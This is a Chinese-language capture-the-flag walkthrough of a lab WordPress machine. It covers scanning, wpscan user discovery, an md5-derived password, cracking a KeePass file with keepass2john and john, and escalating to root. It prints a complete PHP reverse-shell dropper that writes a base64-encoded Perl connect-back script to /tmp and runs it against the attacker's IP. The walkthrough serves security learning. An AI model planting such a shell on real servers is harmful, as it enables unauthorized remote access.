第一步信息收集:
靶机ip:192.168.108.131
攻击机IP:192.168.108.128
nmap扫描靶机的可用端口:
发现http服务的端口存在66端口和80端口
扫描一下靶机端口的http服务:
可以看到,默认的80端口是不存在的,尝试一下66端口:
66端口是存在的:
访问66端口:
here这里可以下载源代码,下载并解压:
打开:
存在一个照片:
没什么用,一句话,“有人尝试黑我们”
看了别人的资料得到,在\vvmlist.github.io\_vvmlist\sense.md打开后:
扫描一下80端口下的80/lyricsblog:
获得:
访问
/lyricsblog/wp-login.php 登录界面:
需要用户名和密码,尝试wpscan扫描一下:
找到一个用户:erdalkomurcu,现在就需要密码:
访问 http://192.168.108.131/lyricsblog/
(重新下载了一下靶机,ip改变)靶机:192.168.108.136
访问:http://192.168.108.136/lyricsblog/
获得:
查看源代码:
看到一个png:
得到一个照片:上面提示:
退回主页:
看到这个,将其打开:
这个是一个歌词,而且还是密码,但是需要用md5值来计算:
将其复制,使用md5sum:
但是这个不对,额
看来资料的得到,空格也会影响md5值:
去掉上下多余的空格:
获得md5值:
bc78c6ab38e114d6135409e44f7cdda2
登录界面:
错误了????
看了别人的资料,他们的左上角写着密码需要大写,额为撒我的没有??
写一个py脚本:
让其变为大写:
获得密码:
将其登录:
登录成功,点击update,在appera中存在:
一个编辑php文件的地方:
选择index.php
使用mfs生成一个php反弹木马:
生成完成:
将代码复制,粘贴到index.php:
,本地开启监听:
然后更新index.php:
监听成功,进行shell交互:
不对??
查看资料得到,需要在msf进行监听:但是
我尝试了好几次都不行,错了?
以后在添加上,换一个反弹·脚本:
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.108.128";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
反弹成功:
看看权限:
不是root用户
查看一下根目录:
发现,user.txt
查看:
没有权限
可以看到
.chadroot.kdbx
.kdbx:
KeePass 是一种密码管理器,用于存储和管理用户的各种账户、密码和敏感信息。KeePass 数据库文件是加密的文件容器,用于安全地保存密码和其他私密数据。这些文件通常受到密码保护,并使用强大的加密算法进行加密,以确保数据的机密性和安全性
所以:将其下载到本地:
开启http服务,本地下载:
下载不上,忽然想到,我是没有权限的
继续查看一下该用户下的suid的文件:
没有什么可以使用的,返回配置目录:
找到wp-config中存在特殊内容:
看到密码,和用户:raphael 密码: _double_trouble_
进行登录:
登录成功
再看一下他下面的文件:
现在就可以下载.chadroot.kdbx
开启http服务:
下载:
下载完成
使用工具keepass2john进行解码:
keepass2john 是 John the Ripper(一种密码破解工具)中的一个插件,用于将 KeePass 数据库文件转换为 John the Ripper 可识别的格式。这样,你就可以使用 John the Ripper 工具对 KeePass 数据库文件进行密码破解或暴力破解。
然后使用john进行解码,我没有适合的密码本,一直解码不出来
所以就看了资料,接出来的密码是:chatter
然后使用在线的kdbx解码网站:https://app.keeweb.info/
然后将kdbx文件前的“.”去掉:
打开网站,点击open上传:输入当时破解出来的密码:
登录成功:
看到root的密码:.:.subjective.:.
登录:
登录成功
打开root目录下的文件
获得最后的flag